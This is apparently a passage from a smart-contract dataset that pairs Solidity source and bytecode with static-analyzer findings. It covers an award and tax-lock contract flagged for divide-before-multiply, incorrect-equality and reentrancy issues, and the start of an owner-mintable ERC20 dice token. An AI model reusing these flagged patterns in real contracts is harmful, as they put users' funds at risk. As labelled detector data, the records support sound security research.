uint256 maxIncent = 745000 * 10 ** 18;
uint256 incents = block.number.sub(startBlock).mul(15 * 10 ** 16);
if (incents > maxIncent) {
return maxIncent.sub(claimedIncentives);
} else {
return incents.sub(claimedIncentives);
}
}
function claimIncentives(address to, uint256 amount) external {
require(msg.sender == dev, "AwardContract: unauthorized");
require(to != dev, "AwardContract: dev so greedy");
uint256 pending = pendingIncentives();
require(amount <= pending, "AwardContract: incentives exceed");
safeIssue(to, amount, "AwardContract: claim incentives err");
claimedIncentives = claimedIncentives.add(amount);
}
function destroy(uint256 amount) onlyGovernor external {
safeIssue(treasury, amount, "AwardContract: levy tax failed");
}
function getCurrEpoch() internal view returns (uint256) {
return now.div(epUnit);
}
function safeIssue(address user, uint256 amount, string memory err) internal {
if (amount > 0) {
require(amount.add(platformToken.totalSupply()) <= platformToken.maxSupply(), "AwardContract: awards exceeds maxSupply");
require(platformToken.issue(user, amount), err);
}
}
function rebase(UserInfo storage _user, uint256 _current) internal {
uint256 rebaseEp = _current.sub(taxEpoch);
uint256 head = _user.taxHead;
while (_user.notEmpty && _user.taxList[head].epoch <= rebaseEp) {
_user.freeAmount = _user.freeAmount.add(_user.taxList[head].amount);
head = head.add(1).mod(taxEpoch);
if (head == _user.taxTail) {
_user.notEmpty = false;
}
}
_user.taxHead = head;
}
} | 0x608060405234801561001057600080fd5b50600436106101c45760003560e01c806391cca3db116100f9578063db281e1b11610097578063f14d13c411610071578063f14d13c4146104eb578063f2fde38b14610511578063fa803b5114610537578063fbb29cfd14610563576101c4565b8063db281e1b14610465578063e3eece261461048b578063eecdac88146104c5576101c4565b8063a076e7db116100d3578063a076e7db14610445578063ad56ca421461044d578063aef018b114610455578063d1b812cd1461045d576101c4565b806391cca3db14610418578063961c34fe146104205780639d11877014610428576101c4565b806358f57f4d11610166578063715018a611610140578063715018a6146103b05780637336991d146103b85780638b76ba64146103e45780638da5cb5b14610410576101c4565b806358f57f4d1461037c57806359cd09381461038457806361d027b31461038c576101c4565b80631b255e18116101a25780631b255e18146101f35780632e1a7d4d146102105780633c4a25d01461022f57806345decd1e14610255576101c4565b806303aafa25146101c95780630f6104fc146101e3578063155a6b85146101eb575b600080fd5b6101d1610589565b60408051918252519081900360200190f35b6101d16105fc565b6101d1610602565b6101d16004803603602081101561020957600080fd5b5035610608565b61022d6004803603602081101561022657600080fd5b50356108a8565b005b61022d6004803603602081101561024557600080fd5b50356001600160a01b0316610b98565b61022d6004803603604081101561026b57600080fd5b81019060208101813564010000000081111561028657600080fd5b82018360208201111561029857600080fd5b803590602001918460208302840111640100000000831117156102ba57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561030a57600080fd5b82018360208201111561031c57600080fd5b8035906020019184602083028401116401000000008311171561033e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610c14945050505050565b61022d610d17565b6101d1610e3a565b610394610e40565b604080516001600160a01b039092168252519081900360200190f35b61022d610e4f565b61022d600480360360408110156103ce57600080fd5b506001600160a01b038135169060200135610ef1565b61022d600480360360408110156103fa57600080fd5b506001600160a01b03813516906020013561104c565b61039461111f565b61039461112e565b6101d161113d565b61022d6004803603602081101561043e57600080fd5b5035611143565b6101d16111f6565b6101d16111fc565b6101d1611202565b610394611208565b6101d16004803603602081101561047b57600080fd5b50356001600160a01b0316611217565b6104b1600480360360208110156104a157600080fd5b50356001600160a01b0316611356565b604080519115158252519081900360200190f35b61022d600480360360208110156104db57600080fd5b50356001600160a01b031661136b565b6101d16004803603602081101561050157600080fd5b50356001600160a01b03166113e4565b61022d6004803603602081101561052757600080fd5b50356001600160a01b0316611542565b61022d6004803603604081101561054d57600080fd5b506001600160a01b03813516906020013561163b565b6101d16004803603602081101561057957600080fd5b50356001600160a01b03166119f5565b600062ab0ed84381106105a05760009150506105f9565b699dc287eab4d4dfa0000060006105c9670214e8348c4f00006105c34386611cc8565b90611c24565b9050818111156105eb576005546105e1908390611cc8565b93505050506105f9565b6005546105e1908290611cc8565b90565b60035481565b60055481565b600080610613611d0a565b9050600061061f6121f7565b336000908152600860209081526040808320815160a08101835281548152600182015481850152600282015481840152600382015460ff1615156060820152600482018054845181870281018701909552808552919592946080870194939192919084015b828210156106ca57838290600052602060002090600202016040518060400160405290816000820154815260200160018201548152505081526020019060010190610684565b50505091525050805190915085116106e857600093505050506108a3565b805183906000906106fa908890611cc8565b602084015160065491925090600090610714906001611d26565b90505b84606001511561085c57610729612228565b8560800151838151811061073957fe5b60200260200101519050600061077a8361077464e8d4a510006105c3600161076e88600001518d611cc890919063ffffffff16565b90611d26565b90611c86565b905064e8d4a51000811115610791575064e8d4a510005b60006107b364e8d4a51000610774848660200151611c2490919063ffffffff16565b90508581106107f65760006107d1836107748964e8d4a51000611c24565b90506107e76107e08289611cc8565b8b90611d26565b9950600096505050505061085c565b6108008682611cc8565b955061082361081c828560200151611cc890919063ffffffff16565b8a90611d26565b60065490995061083e90610838876001611d26565b90611d80565b945087604001518514156108545750505061085c565b505050610717565b82156108995760405162461bcd60e51b81526004018080602001828103825260238152602001806123436023913960400191505060405180910390fd5b5093955050505050505b919050565b60006108b2611d0a565b336000908152600860205260408120919250906108cf8184611dc2565b805484116108ea5780546108e39085611cc8565b8155610b2f565b80546000906108fa908690611cc8565b60008084556001808501546006549394509261091591611d26565b90505b600384015460ff1615610a9b5760006109638261077464e8d4a510006105c3600161076e8b6004018a8154811061094b57fe5b60009182526020909120600290910201548e90611cc8565b905060006109a364e8d4a510006107748489600401888154811061098357fe5b906000526020600020906002020160010154611c2490919063ffffffff16565b9050848110610a3b5760006109c1836107748864e8d4a51000611c24565b90506109f6818860040187815481106109d657fe5b906000526020600020906002020160010154611cc890919063ffffffff16565b876004018681548110610a0557fe5b6000918252602090912060016002909202010155610a2d610a268288611cc8565b8990611d26565b975060009550505050610a9b565b610a458582611cc8565b9450610a64610a5d828860040187815481106109d657fe5b8890611d26565b600654909750610a7990610838866001611d26565b93508560020154841415610a945760038601805460ff191690555b5050610918565b600184018290558215610adf5760405162461bcd60e51b81526004018080602001828103825260238152602001806123436023913960400191505060405180910390fd5b60095460408051808201909152601e81527f4177617264436f6e74726163743a206c65767920746178206661696c656400006020820152610b2b916001600160a01b0316908790611e8a565b5050505b610b52338560405180606001604052806022815260200161236660229139611e8a565b604080513381526020810186905280820184905290517ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b5689181900360600190a150505050565b610ba06120d2565b600a546001600160a01b03908116911614610bf0576040805162461bcd60e51b815260206004820181905260248201526000805160206122fa833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600c60205260409020805460ff19166001179055565b600c6000610c206120d2565b6001600160a01b0316815260208101919091526040016000205460ff16610c785760405162461bcd60e51b815260040180806020018281038252602981526020018061231a6029913960400191505060405180910390fd5b8051825114610cce576040805162461bcd60e51b815260206004820152601d60248201527f4177617264436f6e74726163743a20706172616d7320696e76616c6964000000604482015290519081900360640190fd5b60005b8251811015610d1257610d0a838281518110610ce957fe5b6020026020010151838381518110610cfd57fe5b602002602001015161163b565b600101610cd1565b505050565b6000546001600160a01b03163314610d605760405162461bcd60e51b815260040180806020018281038252602a815260200180612388602a913960400191505060405180910390fd5b60045460025410610da25760405162461bcd60e51b81526004018080602001828103825260318152602001806123b26031913960400191505060405180910390fd5b6000610dbf6003546105c360015443611cc890919063ffffffff16565b90506000610dd860025483611cc890919063ffffffff16565b9050600454821115610df657600254600454610df391611cc8565b90505b60005460408051606081019091526026808252610e26926001600160a01b03169184916122436020830139611e8a565b600254610e339082611d26565b6002555050565b60075481565b6009546001600160a01b031681565b610e576120d2565b600a546001600160a01b03908116911614610ea7576040805162461bcd60e51b815260206004820181905260248201526000805160206122fa833981519152604482015290519081900360640190fd5b600a546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600a80546001600160a01b0319169055565b6000546001600160a01b03163314610f50576040805162461bcd60e51b815260206004820152601b60248201527f4177617264436f6e74726163743a20756e617574686f72697a65640000000000604482015290519081900360640190fd5b6000546001600160a01b0383811691161415610fb3576040805162461bcd60e51b815260206004820152601c60248201527f4177617264436f6e74726163743a2064657620736f2067726565647900000000604482015290519081900360640190fd5b6000610fbd610589565b905080821115611014576040805162461bcd60e51b815260206004820181905260248201527f4177617264436f6e74726163743a20696e63656e746976657320657863656564604482015290519081900360640190fd5b61103783836040518060600160405280602381526020016122d760239139611e8a565b6005546110449083611d26565b600555505050565b600c60006110586120d2565b6001600160a01b0316815260208101919091526040016000205460ff166110b05760405162461bcd60e51b815260040180806020018281038252602981526020018061231a6029913960400191505060405180910390fd5b6001600160a01b038216600090815260086020526040902080546110d49083611d26565b8155604080516001600160a01b03851681526020810184905281517fb3d34aa6513790110f92a175d6dd74ad8c8a7b013c31d21cfbd8f875465afdbb929181900390910190a1505050565b600a546001600160a01b031690565b6000546001600160a01b031681565b60025481565b600c600061114f6120d2565b6001600160a01b0316815260208101919091526040016000205460ff166111a75760405162461bcd60e51b815260040180806020018281038252602981526020018061231a6029913960400191505060405180910390fd5b60095460408051808201909152601e81527f4177617264436f6e74726163743a206c65767920746178206661696c6564000060208201526111f3916001600160a01b0316908390611e8a565b50565b60045481565b60015481565b60065481565b600b546001600160a01b031681565b60006112216121f7565b6001600160a01b0383166000908152600860209081526040808320815160a08101835281548152600182015481850152600282015481840152600382015460ff1615156060820152600482018054845181870281018701909552808552919592946080870194939192919084015b828210156112d55783829060005260206000209060020201604051806040016040529081600082015481526020016001820154815250508152602001906001019061128f565b5050509152505080516060820151919250901561134f5760208201515b6113208360800151828151811061130557fe5b60200260200101516020015183611d2690919063ffffffff16565b60065490925061133590610838836001611d26565b905082604001518114156113485761134d565b6112f2565b505b9392505050565b600c6020526000908152604090205460ff1681565b6113736120d2565b600a546001600160a01b039081169116146113c3576040805162461bcd60e51b815260206004820181905260248201526000805160206122fa833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600c60205260409020805460ff19169055565b6000806113fb6006546113f5611d0a565b90611cc8565b90506114056121f7565b6001600160a01b0384166000908152600860209081526040808320815160a08101835281548152600182015481850152600282015481840152600382015460ff1615156060820152600482018054845181870281018701909552808552919592946080870194939192919084015b828210156114b957838290600052602060002090600202016040518060400160405290816000820154815260200160018201548152505081526020019060010190611473565b5050509152505080516060820151919250901561153a5760208201515b83836080015182815181106114e757fe5b602002602001015160000151116115385761150b8360800151828151811061130557fe5b60065490925061152090610838836001611d26565b9050826040015181141561153357611538565b6114d6565b505b949350505050565b61154a6120d2565b600a546001600160a01b0390811691161461159a576040805162461bcd60e51b815260206004820181905260248201526000805160206122fa833981519152604482015290519081900360640190fd5b6001600160a01b0381166115df5760405162461bcd60e51b81526004018080602001828103825260268152602001806122696026913960400191505060405180910390fd5b600a546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600a80546001600160a01b0319166001600160a01b0392909216919091179055565b600c60006116476120d2565b6001600160a01b0316815260208101919091526040016000205460ff1661169f5760405162461bcd60e51b815260040180806020018281038252602981526020018061231a6029913960400191505060405180910390fd5b60006116a9611d0a565b6001600160a01b038416600090815260086020526040902060048101549192509061172f57604080518082019091528281526020808201858152600484018054600181810183556000928352938220945160029182029095019485559151938301939093558184019290925590820181905560038201805460ff191690911790556119ab565b600381015460ff16156118d657600081600201546000141561175a575060048101546000190161176d565b600282015461176a906001611cc8565b90505b8282600401828154811061177d57fe5b906000526020600020906002020160000154106117f0576117c7848360040183815481106117a757fe5b906000526020600020906002020160010154611d2690919063ffffffff16565b8260040182815481106117d657fe5b9060005260206000209060020201600101819055506118d0565b6006546004830154101561183f576040805180820190915283815260208082018681526004850180546001818101835560009283529390912093516002909102909301928355519101556118ac565b816002015482600101541415611859576118598284611dc2565b828260040183600201548154811061186d57fe5b906000526020600020906002020160000181905550838260040183600201548154811061189657fe5b9060005260206000209060020201600101819055505b6118ca60065461083860018560020154611d2690919063ffffffff16565b60028301555b506119ab565b6006546004820154101561192557604080518082019091528281526020808201858152600484018054600181810183556000928352939091209351600290910290930192835551910155611978565b818160040182600201548154811061193957fe5b906000526020600020906002020160000181905550828160040182600201548154811061196257fe5b9060005260206000209060020201600101819055505b61199660065461083860018460020154611d2690919063ffffffff16565b600282015560038101805460ff191660011790555b604080516001600160a01b03861681526020810185905281517fd185e4940a36e5f27549de4c89ab5d6d8ba2bbf01c48b4df813c0e73b123cbab929181900390910190a150505050565b600080611a00611d0a565b90506000611a1960065483611cc890919063ffffffff16565b9050611a236121f7565b6001600160a01b0385166000908152600860209081526040808320815160a08101835281548152600182015481850152600282015481840152600382015460ff1615156060820152600482018054845181870281018701909552808552919592946080870194939192919084015b82821015611ad757838290600052602060002090600202016040518060400160405290816000820154815260200160018201548152505081526020019060010190611a91565b50505091525050805160608201519192509015611c1b57600654600090611aff906001611d26565b60208401519091505b8484608001518281518110611b1957fe5b6020026020010151600001511115611bbd576000611b6d8361077464e8d4a510006105c3600161076e8b608001518981518110611b5257fe5b6020026020010151600001518e611cc890919063ffffffff16565b90506000611ba864e8d4a510006107748489608001518781518110611b8e57fe5b602002602001015160200151611c2490919063ffffffff16565b9050611bb48582611d26565b94505050611bee565b611beb84608001518281518110611bd057fe5b60200260200101516020015184611d2690919063ffffffff16565b92505b600654611c0090610838836001611d26565b90508360400151811415611c1357611c18565b611b08565b50505b95945050505050565b600082611c3357506000611c80565b82820282848281611c4057fe5b0414611c7d5760405162461bcd60e51b815260040180806020018281038252602181526020018061228f6021913960400191505060405180910390fd5b90505b92915050565b6000611c7d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120d6565b6000611c7d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061213b565b6000611d2160075442611c8690919063ffffffff16565b905090565b600082820183811015611c7d576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611c7d83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612195565b6000611dd960065483611cc890919063ffffffff16565b60018401549091505b600384015460ff168015611e16575081846004018281548110611e0157fe5b90600052602060002090600202016000015411155b15611e7d57611e49846004018281548110611e2d57fe5b6000918252602090912060016002909202010154855490611d26565b8455600654611e5d90610838836001611d26565b90508360020154811415611e785760038401805460ff191690555b611de2565b6001909301929092555050565b8115610d1257600b60009054906101000a90046001600160a01b03166001600160a01b031663d5abeb016040518163ffffffff1660e01b815260040160206040518083038186803b158015611ede57600080fd5b505afa158015611ef2573d6000803e3d6000fd5b505050506040513d6020811015611f0857600080fd5b5051600b54604080516318160ddd60e01b81529051611f83926001600160a01b0316916318160ddd916004808301926020929190829003018186803b158015611f5057600080fd5b505afa158015611f64573d6000803e3d6000fd5b505050506040513d6020811015611f7a57600080fd5b50518490611d26565b1115611fc05760405162461bcd60e51b81526004018080602001828103825260278152602001806122b06027913960400191505060405180910390fd5b600b546040805163219e412d60e21b81526001600160a01b038681166004830152602482018690529151919092169163867904b49160448083019260209291908290030181600087803b15801561201657600080fd5b505af115801561202a573d6000803e3d6000fd5b505050506040513d602081101561204057600080fd5b505181906120cc5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612091578181015183820152602001612079565b50505050905090810190601f1680156120be5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50505050565b3390565b600081836121255760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315612091578181015183820152602001612079565b50600083858161213157fe5b0495945050505050565b6000818484111561218d5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315612091578181015183820152602001612079565b505050900390565b600081836121e45760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315612091578181015183820152602001612079565b508284816121ee57fe5b06949350505050565b6040518060a00160405280600081526020016000815260200160008152602001600015158152602001606081525090565b60405180604001604052806000815260200160008152509056fe4177617264436f6e74726163743a2064657620636c61696d20617761726473206661696c65644f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774177617264436f6e74726163743a206177617264732065786365656473206d6178537570706c794177617264436f6e74726163743a20636c61696d20696e63656e7469766573206572724f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65724177617264436f6e74726163743a2063616c6c6572206973206e6f742074686520676f7665726e6f724177617264436f6e74726163743a20496e73756666696369656e742042616c616e63654177617264436f6e74726163743a20636c61696d20617761726473206661696c65644177617264436f6e74726163743a206f6e6c79206465762063616e2072656365697665206177617264734177617264436f6e74726163743a206465762061776172647320657863656564207065726d697474656420616d6f756e74a2646970667358221220a51897cf8f72196b48d14c35bd2f9f73775695e1324ed39557caf4e26551ce2364736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 10,506 |
0x6b1ec9bf7e5a5cfb938e2963b3659018619bbe4f | pragma solidity 0.4.19;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract DiceGameToken is ERC20, Ownable {
using SafeMath for uint256;
string public constant name = "DiceGame Token";
string public constant symbol = "DICE";
uint8 public constant decimals = 18;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
uint256 private totalSupply_;
modifier canTransfer() {
require(mintingFinished);
_;
}
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public canTransfer returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public canTransfer returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
} | 0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100eb57806306fdde0314610118578063095ea7b3146101a657806318160ddd1461020057806323b872dd14610229578063313ce567146102a257806340c10f19146102d1578063661884631461032b57806370a08231146103855780637d64bcb4146103d25780638da5cb5b146103ff57806395d89b4114610454578063a9059cbb146104e2578063d73dd6231461053c578063dd62ed3e14610596578063f2fde38b14610602575b600080fd5b34156100f657600080fd5b6100fe61063b565b604051808215151515815260200191505060405180910390f35b341561012357600080fd5b61012b61064e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016b578082015181840152602081019050610150565b50505050905090810190601f1680156101985780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b157600080fd5b6101e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610687565b604051808215151515815260200191505060405180910390f35b341561020b57600080fd5b610213610779565b6040518082815260200191505060405180910390f35b341561023457600080fd5b610288600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610783565b604051808215151515815260200191505060405180910390f35b34156102ad57600080fd5b6102b5610b5e565b604051808260ff1660ff16815260200191505060405180910390f35b34156102dc57600080fd5b610311600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b63565b604051808215151515815260200191505060405180910390f35b341561033657600080fd5b61036b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d4a565b604051808215151515815260200191505060405180910390f35b341561039057600080fd5b6103bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fdb565b6040518082815260200191505060405180910390f35b34156103dd57600080fd5b6103e5611024565b604051808215151515815260200191505060405180910390f35b341561040a57600080fd5b6104126110eb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561045f57600080fd5b610467611110565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104a757808201518184015260208101905061048c565b50505050905090810190601f1680156104d45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104ed57600080fd5b610522600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611149565b604051808215151515815260200191505060405180910390f35b341561054757600080fd5b61057c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611389565b604051808215151515815260200191505060405180910390f35b34156105a157600080fd5b6105ec600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611585565b6040518082815260200191505060405180910390f35b341561060d57600080fd5b610639600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061160c565b005b600360009054906101000a900460ff1681565b6040805190810160405280600e81526020017f4469636547616d6520546f6b656e00000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b6000600360009054906101000a900460ff1615156107a057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107dc57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561082a57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108b557600080fd5b61090782600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461176190919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061099c82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177a90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a6e82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461176190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bc057600080fd5b600360009054906101000a900460ff16151515610bdc57600080fd5b610bf18260045461177a90919063ffffffff16565b600481905550610c4982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177a90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600260003373fffffffffffff